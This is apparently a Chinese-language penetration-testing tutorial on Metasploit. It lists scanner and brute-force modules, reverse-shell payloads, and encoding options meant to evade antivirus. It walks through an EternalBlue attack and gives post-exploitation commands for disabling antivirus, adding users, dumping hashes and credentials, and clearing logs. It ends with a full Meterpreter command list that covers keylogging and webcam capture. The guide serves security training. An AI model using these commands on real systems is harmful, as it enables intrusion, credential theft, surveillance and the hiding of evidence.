Metasploit 模块

辅助模块 Auxiliary

Kali 路径:/usr/share/metasploit-framework/modules/auxiliary

Mac 路径:/opt/metasploit-framework/embedded/framework/modules/auxiliary

执行信息收集、扫描、嗅探等功能,辅助渗透测试,不直接执行攻击

端口扫描

1
2
3
4
5
6
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

1
2
3
4
5
6
7
8
9
10
11
12
auxiliary/scanner/ssh/ssh_login		    #SSH 爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC 空口令扫描
auxiliary/scanner/telnet/telnet_login # SSH 爆破
auxiliary/scanner/smb/smb_version # SMB 系统版本扫描
auxiliary/scanner/smb/smb_enumusers # SMB 枚举
auxiliary/scanner/smb/smb_login # SMB 弱口令登录
auxiliary/admin/smb/psexec_command # 登录 SMB 且执行命令

auxiliary/scanner/mssql/mssql_ping # MSSQL 主机信息扫描
auxiliary/admin/mssql/mssql_enum # MSSQL 枚举
auxiliary/scanner/mysql/mysql_login # MySQL 弱口令扫描
auxiliary/admin/mysql/mysql_enum # MySQL 枚举

漏洞利用模块 Exploits

Kali 路径:/usr/share/metasploit-framework/modules/exploits

Mac 路径:/opt/metasploit-framework/embedded/framework/modules/exploits

利用目标系统中的已知漏洞进行攻击

攻击载荷模块 Payloads

Kali 路径:/usr/share/metasploit-framework/modules/payloads
Mac 路径:/opt/metasploit-framework/embedded/framework/modules/payloads

攻击成功后,在目标系统中执行的代码或指令

Payload 主要分为三种类型:Single、Stager、Stage

  • Single:独立的、功能单一、易于使用的 Payload,类似一个简单的程序命令
  • Stager:负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见的如 reverse_tcp (反向连接)和 bind_tcp (正向连接)
  • Stage:Stager 下载后执行的更高级、无大小限制的 Payload 组件

在 Metasploit 中,我们可以通过 Payload 的格式推断它的类型:

1
2
3
4
#Single Payload的格式为:
<target>/ <single> 如:windows/powershell_bind_tcp
#Stager/Stage Payload的格式为:
<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp,它由一个 Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成

常用 Payload

1
2
3
4
windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp #反向连接
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接

反向连接 80 和 443 端口使用场景:被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信

  • 生成 payload 和编码
1
2
3
4
5
6
7
use windows/meterpreter_reverse_http

-E 强制编码
-e 要使用的编码器模块的名称
-f 输出文件名(否则为stdout)
-t 输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b 要避免的字符列表: '\x00\xff'

后渗透攻击模块 Post

在取得目标系统控制权后,执行进一步的攻击动作,需要在 meterpreter shell 中使用

常用 Post 模块

1
2
3
4
5
6
7
8
9
run post/windows/manage/migrate                			#自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举目标安装的应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
  • 利用后渗透模块 enable_rdp 添加用户

    1
    2
    3
    run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456  #添加用户
    run post/windows/manage/enable_rdp #开启远程桌面
    run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
  • 获取目标主机详细信息

    1
    run scraper
  • 关闭杀毒软件

    1
    run killav

编码器模块 Encoders

对 Payload 进行加密,以绕过安全软件的检测

空指令 Nops

提高 Payload 的稳定性和可靠性

基础使用

  • 搜索选择模块
    1
    2
    3
    4
    search ms17_010
    use exploit/windows/smb/ms17_010_eternalblue
    # or
    use 0 # 使用搜索到的结果索引
  • 查看模块信息
    1
    info
  • 查看模块需要的配置参数
    1
    show options
  • 设置参数值
    1
    set RHOSTS 192.168.3.172
  • 设置全局参数,避免在每个模块中重复设置
    1
    setg
  • 查看攻击载荷
    1
    show  payloads  #该命令可以查看当前漏洞利用模块下可用的所有Payload
  • 设置攻击载荷
    1
    set payload windows/x64/meterpreter/reverse_tcp
  • 查看 Payload 模块参数
    1
    show options
  • 配置完成后执行攻击
    1
    2
    3
    exploit
    # or
    run

利用 Meterpreter Payload 攻击成功后,将会进入到 Meterpreter 会话,然后可以进行一系列后渗透操作

Meterpreter

Meterpreter 属于 stage payload,在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload

  • 切换目标主机 shell
    1
    2
    shell         #获取目标主机的cmd_shell权限
    chcp 65001 #避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
  • 退回到 Meterpreter
    1
    exit
  • 退出到 msf
    1
    background   #把获得的 meterpreter 会话挂载到后台运行
  • 查看 meterpreter 会话列表
    1
    sessions -l
  • 进入对应的 meterpreter shell
    1
    sessions [id]
  • 在目标系统中创建新的用户账号
    1
    2
    3
    run getgui -u 用户 -p 密码
    # -u: 指定用户
    # -p: 指定密码
  • 清除日志
    1
    clearev

命令用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
upload 上传文件或目录
edit 使用 vim 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器


==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 进入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统权限

==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性

meterpreter >